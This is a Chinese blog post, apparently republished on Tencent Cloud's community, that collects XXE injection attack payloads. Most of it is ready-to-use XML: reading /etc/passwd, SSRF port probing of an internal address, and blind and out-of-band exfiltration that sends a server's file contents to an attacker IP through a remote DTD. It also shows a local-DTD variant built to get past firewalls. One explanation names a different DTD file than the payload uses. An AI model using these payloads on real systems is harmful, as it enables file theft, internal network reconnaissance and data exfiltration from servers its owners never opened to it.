前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XXE注入高端操作攻击payload汇总【补】

XXE注入高端操作攻击payload汇总【补】

作者头像
Jayway
发布2019-09-29 17:27:23
6.1K0
发布2019-09-29 17:27:23
举报
文章被收录于专栏:卓文见识

1、有回显—读服务器文件:

外部一般实体:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITYcontent SYSTEM"file:///etc/passwd">]>

<name>&content;</name>

2、SSRF—探测端口:

适用于有回显和blind xxe,也是外部一般实体:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY contentSYSTEM "http://10.165.89.150:88">]>

<name>&content;</name>

根据响应时间判断:

开放端口,响应时间为16millis:

未开放端口,延迟反应1047millis:

3、Blind xxe

控制web服务器任意发包:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITYcontent SYSTEM " http://<oursite>/hhhhhhh">]>

<name>&content;</name>

这样可以控制服务器向我们自己的服务器发包,上面我们请求了自己的服务器上一个不存在的文件/hhhhh,通过日志可以看到请求发送成功。这里请求web服务器的方法也可以换成请求任意端口,然后在我们的服务器开启nc监听。

4、OOB blind

OOB(Out-Of-Band)是个通用的技巧,在其他漏洞场景也有利用。在这里其实是1和3的结合,发两个包,分别请求web服务器的敏感文件和我们的服务器,以此将数据带出:

<?xml version="1.0"?>

<!DOCTYPE message [

<!ENTITY% files SYSTEM "file:///etc/passwd">

<!ENTITY% send SYSTEM "http://myip/?a=%files;">

%send;]>

但由于XML解析器不会解析同级参数实体的内容,所以我们在自己的服务器上放一个dtd文件,然后通过请求远程调用这个外部实体(像RFI)。

向服务器发送请求:

<?xml version="1.0"encoding="utf-8"?>

<!DOCTYPE dataSYSTEM "http://10.165.89.150:88/xxe.dtd">

<data>&send;</data>

150服务器上的DTD文件如下:

<!ENTITY % fileSYSTEM "file:///C:/jayway.txt">

<!ENTITY % all"<!ENTITY send SYSTEM'http://10.165.89.150:88/?%file;'>">

%all;

梳理一下数据流向:xml发包,重定向到dtd文件,把结果赋给data——>转入服务器的dtd文件,dtd中首先请求了web服务器的C盘文件,内容赋给file参数——>再请求我们的服务器,并将file参数作为请求的一部分,赋值给send,send送给外层的% all——>%all执行实体——>从dtd中出去,执行普通实体send。最终会把web服务器的数据带到我们的服务器的日志中:

TIP:实体分普通实体和参数实体,区别是参数实体有%;而且参数实体在[]内执行,普通实体需要在外单独执行。这里请求使用参数实体也可以,效果是一样的:

<?xml version="1.0"?>

<!DOCTYPE data[

<!ENTITY % remoteSYSTEM " http://10.165.89.150:88/xxe.dtd ">

%remote;

%send;]>

<data>4</data>

5、本地DTD

用于web服务器和我们的服务器之间存在防护墙的情况,每个操作系统都自带dtd文件,可以在目标主机上重新定义一些参数实体来强制执行本地dtd文件:比如windows下有C:\Windows\System32\wbem\xml\cim20.dtd:

则可以构造payload,实现同样的效果:

<?xmlversion="1.0"?>

<!DOCTYPEmessage [

<!ENTITY % remote SYSTEM

"file:///C:/Windows/System32/wbem/xml/cim20.dtd">

<!ENTITY &#x25; file SYSTEM "file:///C:/jayway.txt">

<!ENTITY % SuperClass '

<!ENTITY &#x25; eval"<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://10.165.89.150:88/?&#x25;file;&#x27;>">

&#x25;eval;

&#x25;send;

'>

%remote;

]>

<message>1234</message>

这里使用三层参数实体嵌套,在docbookx.dtd文件中调用了% SuperClass,在SuperClass定义的实体中相继调用了eval、和send。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-07-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档